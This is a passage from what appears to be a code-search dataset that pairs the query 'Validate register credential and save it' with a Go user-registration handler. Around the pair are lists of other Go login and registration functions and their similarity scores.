mean we've properly authenticated.\n\t\tc.Session[\"DiscordUserID\"] = DiscordUser.ID\n\t}\n\tc.Response.Status = 201\n\treturn c.Render()\n}", "func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\n\tsessionID, sessionIDState := cookies.GetCookie(req, \"session\")\n\tif !sessionIDState {\n\t\treturn false\n\t}\n\tsession, sessionState := authentication.userSession[sessionID.Value]\n\tif sessionState {\n\t\tsession.lastActivity = time.Now()\n\t\tauthentication.userSession[sessionID.Value] = session\n\t}\n\t_, userState := authentication.loginUser[session.email]\n\tsessionID.Path = \"/\"\n\tsessionID.MaxAge = sessionExistTime\n\thttp.SetCookie(res, sessionID)\n\treturn userState\n}", "func (s service) Login(ctx context.Context, username, password string) (string, error) {\n\tuser, err := s.authenticate(ctx, username, password)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsession, err := s.sessionRepository.Get(ctx, user.ID)\n\tif err != nil {\n\t\treturn s.createSession(ctx, *user)\n\t}\n\treturn s.updateSession(ctx, *user, session)\n}", "func Login(c echo.Context) error {\n\t// Read the json body\n\tb, err := ioutil.ReadAll(c.Request().Body)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, err.Error())\n\t}\n\n\t// Verify length\n\tif len(b) == 0 {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": \"You have sent an empty json\"})\n\t}\n\n\t// Validate JSON\n\tl := gojsonschema.NewBytesLoader(b)\n\tresult, err := app.LoginSchema.Validate(l)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\tif !result.Valid() {\n\t\tmsg := \"\"\n\t\tfor _, desc := range result.Errors() {\n\t\t\tmsg += fmt.Sprintf(\"%s, \", desc.Description())\n\t\t}\n\t\tmsg = strings.TrimSuffix(msg, \", \")\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": msg})\n\t}\n\n\t// Bind it to our User instance.\n\tloginUser := user.User{}\n\terr = json.Unmarshal(b, &loginUser)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err.Error())\n\t}\n\tloginUsername := loginUser.Username\n\tloginPassword := loginUser.Password\n\tu, err := user.GetByUsername(loginUsername)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusNotFound, map[string]string{\n\t\t\t\"verbose_msg\": \"Username does not exist !\"})\n\t}\n\n\tif !comparePasswords(u.Password, []byte(loginPassword)) {\n\t\treturn c.JSON(http.StatusUnauthorized, map[string]string{\n\t\t\t\"verbose_msg\": \"Username or password does not match !\"})\n\t}\n\n\tif !u.Confirmed {\n\t\treturn c.JSON(http.StatusUnauthorized, map[string]string{\n\t\t\t\"verbose_msg\": \"Account not confirmed, please confirm your email !\"})\n\t}\n\n\ttoken, err := createJwtToken(u)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, map[string]string{\n\t\t\t\"verbose_msg\": \"Internal server error !\"})\n\t}\n\n\t// Create a cookie to place the jwt token\n\tcookie := createJwtCookie(token)\n\tc.SetCookie(cookie)\n\n\treturn c.JSON(http.StatusOK, map[string]string{\n\t\t\"verbose_msg\": \"You were logged in !\",\n\t\t\"token\": token,\n\t})\n}", "func (e *EndpointSessions) auth(writer http.ResponseWriter, request *http.Request) {\n\tlogin := request.Header.Get(\"login\")\n\tpwd := request.Header.Get(\"password\")\n\tagent := request.Header.Get(\"User-Agent\")\n\tclient := request.Header.Get(\"client\")\n\n\t//try to do something against brute force attacks, see also https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks\n\ttime.Sleep(1000 * time.Millisecond)\n\n\t//another funny idea is to return a fake session id, after many wrong login attempts\n\n\tif len(login) < 3 {\n\t\thttp.Error(writer, \"login too short\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(agent) == 0 {\n\t\thttp.Error(writer, \"user agent missing\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(pwd) < 4 {\n\t\thttp.Error(writer, \"password too short\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif len(client) == 0 {\n\t\thttp.Error(writer, \"client missing\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tallowed := false\n\tfor _, allowedClient := range allowedClients {\n\t\tif allowedClient == client {\n\t\t\tallowed = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !allowed {\n\t\thttp.Error(writer, \"client is invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tusr, err := e.users.FindByLogin(login)\n\n\tif err != nil {\n\t\tif db.IsEntityNotFound(err) {\n\t\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\t} else {\n\t\t\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\n\t\t}\n\n\t\treturn\n\t}\n\n\tif !usr.Active {\n\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tif !usr.PasswordEquals(pwd){\n\t\thttp.Error(writer, \"credentials invalid\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\t//login is fine now, create a session\n\tcurrentTime := time.Now().Unix()\n\tses := &session.Session{User: usr.Id, LastUsedAt: currentTime, CreatedAt: currentTime, LastRemoteAddr: request.RemoteAddr, LastUserAgent: agent}\n\terr = e.sessions.Create(ses)\n\tif err != nil {\n\t\thttp.Error(writer, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tWriteJSONBody(writer, &sessionDTO{Id: ses.Id, User: usr.Id})\n}", "func (webauthn *WebAuthn) ValidateLogin(user User, session SessionData, parsedResponse *protocol.ParsedCredentialAssertionData) (*Credential, error) {\n\tif !bytes.Equal(user.WebAuthnID(), session.UserID) {\n\t\treturn nil, protocol.ErrBadRequest.WithDetails(\"ID mismatch for User and Session\")\n\t}\n\n\treturn webauthn.validateLogin(user, session, parsedResponse)\n}", "func LogIn(w http.ResponseWriter, r *http.Request) (*LoginInfo, error) {\n\t// Create a state token to prevent request forgery and store it in the session\n\t// for later validation.\n\tsession, err := getSession(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate := randomString(64)\n\tsession.Values[\"state\"] = state\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to save state in session: %v\", err)\n\t}\n\tglog.V(1).Infof(\"CheckLogin set state=%v in user's session\\n\", state)\n\tinfo := LoginInfo{\n\t\tClientId: oauthConfig.ClientID,\n\t\tStateToken: url.QueryEscape(state),\n\t\tBaseURL: BaseURL,\n\t}\n\treturn &info, nil\n}", "func login(w http.ResponseWriter, r *http.Request){\n\t//Get value from cookie store with same name\n\tsession, _ := store.Get(r,\"session-name\")\n\t//Set authenticated to true\n\tsession.Values[\"authenticated\"]=true\n\t//Save request and responseWriter\n\tsession.Save(r,w)\n\t//Print the result to console\n\tfmt.Println(w,\"You have succesfully login\")\n}", "func (d *DNSProvider) login() error {\n\ttype creds struct {\n\t\tCustomer string `json:\"customer_name\"`\n\t\tUser string `json:\"user_name\"`\n\t\tPass string `json:\"password\"`\n\t}\n\n\ttype session struct {\n\t\tToken string `json:\"token\"`\n\t\tVersion string `json:\"version\"`\n\t}\n\n\tpayload := &creds{Customer: d.customerName, User: d.userName, Pass: d.password}\n\tdynRes, err := d.sendRequest(\"POST\", \"Session\", payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar s session\n\terr = json.Unmarshal(dynRes.Data, &s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.token = s.Token\n\n\treturn nil\n}", "func (app *application) postLogin(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tapp.clientError(w, http.StatusBadRequest)\n\t\treturn\n\t}\n\tform := forms.New(r.PostForm)\n\tform.Required(\"screenName\")\n\tform.MaxLength(\"screenName\", 16)\n\tform.Required(\"password\")\n\n\trowid, err := app.players.Authenticate(form.Get(\"screenName\"), form.Get(\"password\"))\n\tif err != nil {\n\t\tif errors.Is(err, models.ErrInvalidCredentials) {\n\t\t\tform.Errors.Add(\"generic\", \"Supplied credentials are incorrect\")\n\t\t\tapp.renderLogin(w, r, \"login.page.tmpl\", &templateDataLogin{Form: form})\n\t\t} else {\n\t\t\tapp.serverError(w, err)\n\t\t}\n\t\treturn\n\t}\n\t// Update loggedIn in database\n\tapp.players.UpdateLogin(rowid, true)\n\tapp.session.Put(r, \"authenticatedPlayerID\", rowid)\n\tapp.session.Put(r, \"screenName\", form.Get(\"screenName\"))\n\thttp.Redirect(w, r, \"/board/list\", http.StatusSeeOther)\n}", "func (c *Client) Login(ctx context.Context, user *url.Userinfo) error {\n\treq := c.Resource(internal.SessionPath).Request(http.MethodPost)\n\n\treq.Header.Set(internal.UseHeaderAuthn, \"true\")\n\n\tif user != nil {\n\t\tif password, ok := user.Password(); ok {\n\t\t\treq.SetBasicAuth(user.Username(), password)\n\t\t}\n\t}\n\n\tvar id string\n\terr := c.Do(ctx, req, &id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.SessionID(id)\n\n\treturn nil\n}", "func checkLogin(next echo.HandlerFunc) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tcookie, err := c.Cookie(\"SessionID\")\n\t\tif err == nil && cookie != nil && cookie.Value == \"some hash\" {\n\t\t\treturn next(c)\n\t\t}\n\t\treturn c.Redirect(http.StatusMovedPermanently, fmt.Sprintf(\"/login?redirect=%s\", c.Path()))\n\t}\n}" ]
[ "0.7249417", "0.71791625", "0.7148109", "0.7145532", "0.7125503", "0.7103758", "0.7101171", "0.7101171", "0.70302814", "0.6993062", "0.69926226", "0.69918406", "0.69282466", "0.6898129", "0.6888746", "0.68840563", "0.68760836", "0.683304", "0.68243915", "0.6821626", "0.6802072", "0.6768718", "0.67619497", "0.67476106", "0.67062503", "0.66943026", "0.66748416", "0.6650309", "0.66261846", "0.6622073", "0.66192335", "0.6580728", "0.65483147", "0.65315473", "0.6528519", "0.650454", "0.64805603", "0.64768225", "0.64731395", "0.64695483", "0.6462566", "0.6459375", "0.64425653", "0.64387405", "0.64335483", "0.6420106", "0.6418781", "0.64132804", "0.6410951", "0.6400499", "0.6393768", "0.6385823", "0.63743746", "0.6372866", "0.63684654", "0.63528776", "0.6351101", "0.6348632", "0.63420725", "0.6334571", "0.63342476", "0.633402", "0.6311171", "0.6309435", "0.63029134", "0.629065", "0.6257925", "0.62549174", "0.6244361", "0.6221782", "0.621989", "0.62156767", "0.62133664", "0.6208264", "0.61967087", "0.6193906", "0.6192457", "0.6188391", "0.61878943", "0.6184718", "0.61770326", "0.6174854", "0.61660707", "0.6164364", "0.6163002", "0.616141", "0.6157525", "0.61562324", "0.6153855", "0.61488897", "0.61485344", "0.6142669", "0.6140822", "0.6137897", "0.61330557", "0.6131939", "0.61288536", "0.61247", "0.6124595", "0.6122905" ]
0.6778647
21
Validate register credential and save it
func register(ctx context.Context) error { rw := ctx.HttpResponseWriter() name := ctx.PostValue("name") email := ctx.PostValue("email") password := ctx.PostValue("password") fieldErrs, err := db.RegisterUser(name, email, password) if len(fieldErrs) > 0 { data, err := json.Marshal(fieldErrs) if err != nil { log.Error("Unable to marshal: ", err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } rw.Header().Set("Content-Type", "application/json") return goweb.Respond.With(ctx, http.StatusBadRequest, data) } if err != nil { log.Error(err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } // everything went fine msg := struct { Body string `json:"body"` Type string `json:"type"` }{ Body: "Check your email to activate your account", Type: "success", } data, err := json.Marshal(msg) if err != nil { log.Error("Unable to marshal: ", err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } rw.Header().Set("Content-Type", "application/json") return goweb.Respond.With(ctx, http.StatusOK, data) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (svc *credentialService) Register(ctx context.Context, email, password, confirmPass string, claims map[string]interface{}) error {\n\t//Construct credentail object from request\n\tcred := model.Credential{}\n\tcred.Create(email, password, provider, claims)\n\tcred.Claims = claims\n\n\t//Validate the credential data\n\terr := cred.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t/* Ignore password on register for now? because we only support google login\n\tVerify that password and confirmation password is equal\n\terr = cred.VerifyPassword(confirmPass)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*/\n\n\t//Check duplicate email\n\t_, err = svc.repo.Get(ctx, email)\n\tif err != repo.ErrNotFound {\n\t\treturn service.ErrAlreadyExists\n\t}\n\n\t//Every pre-check passed, create a credential\n\terr = svc.repo.Create(ctx, cred)\n\tif err != nil {\n\t\t//error 500 failed to create user\n\t\treturn err\n\t}\n\n\t//success, return no error\n\treturn nil\n}", "func Register(c *gin.Context) {\n\tvar registerRequest types.RegisterRequest\n\terr := c.BindJSON(&registerRequest)\n\tif err != nil {\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: err.Error()}\n\t\tc.JSON(http.StatusBadRequest, response)\n\t\treturn\n\t}\n\n\t// Validate register request struct\n\t_, err = govalidator.ValidateStruct(registerRequest)\n\tif err != nil {\n\t\terrMap := govalidator.ErrorsByField(err)\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: errMap}\n\t\tc.JSON(http.StatusBadRequest, response)\n\t\treturn\n\t}\n\n\t// Maybe add same tag in govalidator\n\tif registerRequest.Password != registerRequest.PasswordAgain {\n\t\terrMap := make(map[string]string)\n\t\terrMap[\"password_again\"] = \"Password again must be equal to password\"\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"msg\": \"Please check your data\", \"err\": errMap})\n\t\treturn\n\t}\n\n\t// hash password\n\tbytePassword := []byte(registerRequest.Password)\n\thashedPassword := hashPassword(bytePassword)\n\n\t// Save user\n\ttx, err := models.DB.Begin()\n\tdefer tx.Rollback()\n\n\tuser := models.User{}\n\tuser.Email = registerRequest.Email\n\tuser.Password = hashedPassword\n\tuser.IsAdmin = 0\n\tif err = user.Save(tx); err != nil {\n\t\tresponse := types.APIErrResponse{Msg: \"Please check your data\", Success: false, Err: err.Error()}\n\t\tc.JSON(http.StatusNotFound, response)\n\t} else {\n\t\ttx.Commit()\n\t\tresponse := types.APIResponse{Msg: \"Register user successfully\", Success: true}\n\t\tc.JSON(http.StatusOK, response)\n\t}\n}", "func Register(r *http.Request) (bool, error) {\n\tusername := r.FormValue(\"username\")\n\tnewPassword := r.FormValue(\"password\")\n\tconfirmPassword := r.FormValue(\"confirm_password\")\n\tu, err := models.GetUserByUsername(username)\n\t// If we have an error which is not simply indicating that no user was found, report it\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false, err\n\t}\n\tu = models.User{}\n\t// If we've made it here, we should have a valid username given\n\t// Check that the passsword isn't blank\n\tif newPassword == \"\" {\n\t\treturn false, ErrEmptyPassword\n\t}\n\t// Make sure passwords match\n\tif newPassword != confirmPassword {\n\t\treturn false, ErrPasswordMismatch\n\t}\n\t// Let's create the password hash\n\th, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tu.Username = username\n\tu.Hash = string(h)\n\tu.ApiKey = GenerateSecureKey()\n\terr = models.PutUser(&u)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "func validateRegister(f *userRequest) (errors map[string]string) {\n\terrors = make(map[string]string)\n\tmodel.Required(&errors, map[string][]string{\n\t\t\"name\": []string{f.Name, \"Name\"},\n\t\t\"email\": []string{f.Email, \"Email\"},\n\t\t\"password\": []string{f.Password, \"Password\"},\n\t\t\"cpassword\": []string{f.Cpassword, \"Confirm Password\"},\n\t})\n\tmodel.Confirmed(&errors, map[string][]string{\n\t\t\"cpassword\": []string{f.Password, f.Cpassword, \"Confirm Password\"},\n\t})\n\tif len(errors) == 0 {\n\t\treturn nil\n\t}\n\treturn\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\tlog.Println(\"Register\")\n\tvar dataResource model.RegisterResource\n\t// Decode the incoming User json\n\terr := json.NewDecoder(r.Body).Decode(&dataResource)\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid data\",\n\t\t\thttp.StatusInternalServerError,\n\t\t)\n\t\treturn\n\t}\n\n\terr = dataResource.Validate()\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid data\",\n\t\t\thttp.StatusBadRequest,\n\t\t)\n\t\treturn\n\t}\n\n\tlog.Println(\"email: \" + dataResource.Email)\n\tcode := utils.RandStringBytesMaskImprSrc(6)\n\tlog.Println(code)\n\n\tdataStore := common.NewDataStore()\n\tdefer dataStore.Close()\n\tcol := dataStore.Collection(\"users\")\n\tuserStore := store.UserStore{C: col}\n\tuser := model.User{\n\t\tEmail: dataResource.Email,\n\t\tActivateCode: code,\n\t\tCreatedDate: time.Now().UTC(),\n\t\tModifiedDate: time.Now().UTC(),\n\t\tRole: \"member\",\n\t}\n\n\t// Insert User document\n\tstatusCode, err := userStore.Create(user, dataResource.Password)\n\n\tresponse := model.ResponseModel{\n\t\tStatusCode: statusCode.V(),\n\t}\n\n\tswitch statusCode {\n\tcase constants.Successful:\n\t\temails.SendVerifyEmail(dataResource.Email, code)\n\t\tresponse.Data = \"\"\n\t\tbreak\n\tcase constants.ExitedEmail:\n\t\tresponse.Error = statusCode.T()\n\t\t//if err != nil {\n\t\t//\tresponse.Error = err.Error()\n\t\t//}\n\t\tbreak\n\tcase constants.Error:\n\t\tresponse.Error = statusCode.T()\n\t\t//if err != nil {\n\t\t//\tresponse.Error = err.Error()\n\t\t//}\n\t\tbreak\n\t}\n\n\tdata, err := json.Marshal(response)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(data)\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\tvar t models.User\n\terr := json.NewDecoder(r.Body).Decode((&t))\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif len(t.Email) == 0 {\n\t\thttp.Error(w, \"El email es requerido\", 400)\n\t\treturn\n\t}\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"El password tiene que tener un mínimo de 6 caracteres\", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := bd.CheckUserExist(t.Email)\n\n\tif found {\n\t\thttp.Error(w, \"Usuario ya existe\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Ocurrió un error al momento de registrar usuario\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif !status {\n\t\thttp.Error(w, \"Ocurrió un error al momento de registrar usuario\", 400)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n\n}", "func Register(write http.ResponseWriter, request *http.Request) {\n\tvar object models.User\n\terr := json.NewDecoder(request.Body).Decode(&object)\n\tif err != nil {\n\t\thttp.Error(write, \"An error ocurred in user register. \"+err.Error(), 400)\n\t\treturn\n\t}\n\n\t//Validations\n\tif len(object.Email) == 0 {\n\t\thttp.Error(write, \"Email is required.\", 400)\n\t\treturn\n\t}\n\tif len(object.Password) < 6 {\n\t\thttp.Error(write, \"Password invalid, must be at least 6 characters.\", 400)\n\t\treturn\n\t}\n\n\t_, userFounded, _ := bd.CheckExistUser(object.Email)\n\n\tif userFounded {\n\t\thttp.Error(write, \"The email has already been registered.\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(object)\n\n\tif err != nil {\n\t\thttp.Error(write, \"An error occurred in insert register user.\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif !status {\n\t\thttp.Error(write, \"Not insert user register.\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\twrite.WriteHeader(http.StatusCreated)\n}", "func Register(ctx *gin.Context) {\n\n\tDB := common.GetDB()\n\n\t//获取数据\n\tname := ctx.PostForm(\"name\")\n\ttelephone := ctx.PostForm(\"tel\")\n\tpassword := ctx.PostForm(\"password\")\n\temail := ctx.PostForm(\"email\")\n\n\t//判断数据\n\tif len(name) == 0 {\n\t\tname = utils.RandString(9)\n\n\t}\n\n\tif len(telephone) != 11 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \"手机号必须为11位\")\n\t\treturn\n\t}\n\n\tif len(password) < 6 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \"密码需大于6位\")\n\t\treturn\n\t}\n\n\tif !utils.EmailFormatCheck(email) {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4223, gin.H{}, \"email格式错误\")\n\t\treturn\n\t}\n\t//处理数据\n\tvar user model.User\n\tDB.AutoMigrate(&user)\n\n\tif UserExist(DB, telephone) {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4224, gin.H{}, \"用户已存在\")\n\t\treturn\n\t}\n\n\thashpassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \"密码加密错误\")\n\t\treturn\n\t}\n\n\tDB.Create(&model.User{Name: name, Password: string(hashpassword), Telephone: telephone, Email: email})\n\n\tresponse.Success(ctx, gin.H{}, \"ok\")\n\n}", "func Register(w http.ResponseWriter, r *http.Request, DB *gorm.DB) {\n\tvar newUser User\n\tvar currentUser User\n\tcreatedResponse := response.JsonResponse(\"Account created successfully, Check your email and verify your email address\", 200)\n\texistsResponse := response.JsonResponse(\"Account already exists. Please register\", 501)\n\terrorResponse := response.JsonResponse(\"An error occured\", 500)\n\treqBody, err := ioutil.ReadAll(r.Body)\n\tjson.Unmarshal(reqBody, &newUser)\n\tDB.Where(\"email = ?\", newUser.Email).First(&currentUser)\n\tif currentUser.Email == \"\" {\n\t\tif err != nil {\n\t\t\tjson.NewEncoder(w).Encode(errorResponse)\n\t\t}\n\t\tpassword := []byte(newUser.Password)\n\t\tnewUser.Password = utils.HashSaltPassword(password)\n\t\t//Sanitize these values so users cannot get higher permissions by setting json values\n\t\tnewUser.IsAdmin = false\n\t\tnewUser.EmailVerified = false\n\t\t//Force FirstName and Last Name to have first character to be uppercase\n\t\tnewUser.FirstName = utils.UppercaseName(newUser.FirstName)\n\t\tnewUser.LastName = utils.UppercaseName(newUser.LastName)\n\t\t//Set VerifyToken for new User\n\t\tnewUser.VerifyToken = randomstring.GenerateRandomString(30)\n\t\t//send token as query params in email in a link\n\t\tparentURL := \"localhost:8080/api/v1/user/verify-email?token=\"\n\t\tverifyURL := parentURL + newUser.VerifyToken\n\t\ttemplate1 := \"<html><body><h1>Welcome to paingha.me</h1><br />\" + \"<a href='\" + verifyURL + \"'>Verify Email</a></body></html>\"\n\t\tfmt.Println(template1)\n\t\tDB.Create(&newUser)\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tto := []string{newUser.Email}\n\t\tmailerResponse := mailer.SendMail(to, \"Welcome! Please Verify your Email\", template1)\n\t\tfmt.Println(mailerResponse)\n\t\tjson.NewEncoder(w).Encode(createdResponse)\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusForbidden)\n\t\tjson.NewEncoder(w).Encode(existsResponse)\n\t}\n\n}", "func UserRegister(res http.ResponseWriter, req *http.Request) {\n\n\t// get user form from user register form\n\t// insert data to DB\n\t// First step would be Firstname, lastname and password..\n\t/*\n\t* encrypting password from frontend and decrypt at this end...\n\t* Password matching ( re entering)\n\t* Inserting to db ( firstname,lastname,email,password,registered_at)\n\t */\n\n\trequestID := req.FormValue(\"uid\")\n\tfirstName := req.FormValue(\"first_name\")\n\tlastName := req.FormValue(\"last_name\")\n\temail := req.FormValue(\"email\")\n\tpassword := req.FormValue(\"password\")\n\n\tlogs.WithFields(logs.Fields{\n\t\t\"Service\": \"User Service\",\n\t\t\"package\": \"register\",\n\t\t\"function\": \"UserRegister\",\n\t\t\"uuid\": requestID,\n\t\t\"email\": email,\n\t}).Info(\"Received data to insert to users table\")\n\n\t// check user entered same email address\n\thasAccount := Checkmail(email, requestID)\n\n\tif hasAccount != true {\n\n\t\tdb := dbConn()\n\n\t\t// Inserting token to login_token table\n\t\tinsertUser, err := db.Prepare(\"INSERT INTO users (email,first_name,last_name,password) VALUES(?,?,?,?)\")\n\t\tif err != nil {\n\t\t\tlogs.WithFields(logs.Fields{\n\t\t\t\t\"Service\": \"User Service\",\n\t\t\t\t\"package\": \"register\",\n\t\t\t\t\"function\": \"UserRegister\",\n\t\t\t\t\"uuid\": requestID,\n\t\t\t\t\"Error\": err,\n\t\t\t}).Error(\"Couldnt prepare insert statement for users table\")\n\t\t}\n\t\tinsertUser.Exec(email, firstName, lastName, password)\n\n\t\t// Inserting email to emails table\n\n\t\tinsertEmail, err := db.Prepare(\"INSERT INTO emails (email,isActive) VALUES(?,?)\")\n\t\tif err != nil {\n\t\t\tlogs.WithFields(logs.Fields{\n\t\t\t\t\"Service\": \"User Service\",\n\t\t\t\t\"package\": \"register\",\n\t\t\t\t\"function\": \"UserRegister\",\n\t\t\t\t\"uuid\": requestID,\n\t\t\t\t\"Error\": err,\n\t\t\t}).Error(\"Couldnt prepare insert statement for emails table\")\n\t\t}\n\t\tinsertEmail.Exec(email, 1)\n\n\t\t_, err = http.PostForm(\"http://localhost:7070/response\", url.Values{\"uid\": {requestID}, \"service\": {\"User Service\"},\n\t\t\t\"function\": {\"UserRegister\"}, \"package\": {\"Register\"}, \"status\": {\"1\"}})\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error response sending\")\n\t\t}\n\n\t\tdefer db.Close()\n\t\treturn\n\t} // user has an account\n\n\tlogs.WithFields(logs.Fields{\n\t\t\"Service\": \"User Service\",\n\t\t\"package\": \"register\",\n\t\t\"function\": \"UserRegister\",\n\t\t\"uuid\": requestID,\n\t\t\"email\": email,\n\t}).Error(\"User has an account for this email\")\n\n\t_, err := http.PostForm(\"http://localhost:7070/response\", url.Values{\"uid\": {requestID}, \"service\": {\"User Service\"},\n\t\t\"function\": {\"sendLoginEmail\"}, \"package\": {\"Check Email\"}, \"status\": {\"0\"}})\n\n\tif err != nil {\n\t\tlog.Println(\"Error response sending\")\n\t}\n}", "func Register (w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"content-type\", \"application/json\")\n\n\tvar user models.User\n\tvar res models.ResponseResult\n\n\tbody, _ := ioutil.ReadAll(r.Body)\n\terr := json.Unmarshal(body, &user)\n\n\tif err != nil {\n\t\tres.Error = err.Error()\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tif msg, validationResult := user.Valid(); !validationResult {\n\t\tres.Error = msg\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\n\thash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 10)\n\tif err != nil {\n\t\tre := models.ResponseError{\n\t\t\tCode: constants.ErrCodeHashError,\n\t\t\tMessage: constants.MsgHashError,\n\t\t\tOriginalError: err,\n\t\t}\n\t\tres.Error = re\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tuser.Password = string(hash)\n\t_, err = models.InsertOne(models.UserCollection, user)\n\n\tif err != nil {\n\t\tre := models.ResponseError{\n\t\t\tCode: constants.ErrCodeInsertOne,\n\t\t\tMessage: strings.Replace(constants.MsgErrorInsertOne, \"%COLLECTION%\", models.UserCollection, -1),\n\t\t\tOriginalError: err,\n\t\t}\n\t\tres.Error = re\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tres.Error = false\n\tres.Result = strings.Replace(constants.MsgSuccessInsertedOne, \"%COLLECTION%\", models.UserCollection, -1)\n\t_ = json.NewEncoder(w).Encode(res)\n\n\treturn\n\n}", "func registerAction(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"POST\" {\n\n\t\tdb, err := config.GetMongoDB()\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Gagal menghubungkan ke database!\")\n\t\t\tos.Exit(2)\n\t\t}\n\n\t\tif r.FormValue(\"fullname\") == \"\" {\n\n\t\t\tmsg := []byte(\"full_name_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\n\t\t} else if r.FormValue(\"email\") == \"\" {\n\t\t\tmsg := []byte(\"email_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if r.FormValue(\"password\") == \"\" {\n\t\t\tmsg := []byte(\"password_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidateFullName(r.FormValue(\"fullname\")) == false {\n\t\t\tmsg := []byte(\"full_name_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidateEmail(r.FormValue(\"email\")) == false {\n\t\t\tmsg := []byte(\"email_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidatePassword(r.FormValue(\"password\")) == false {\n\t\t\tmsg := 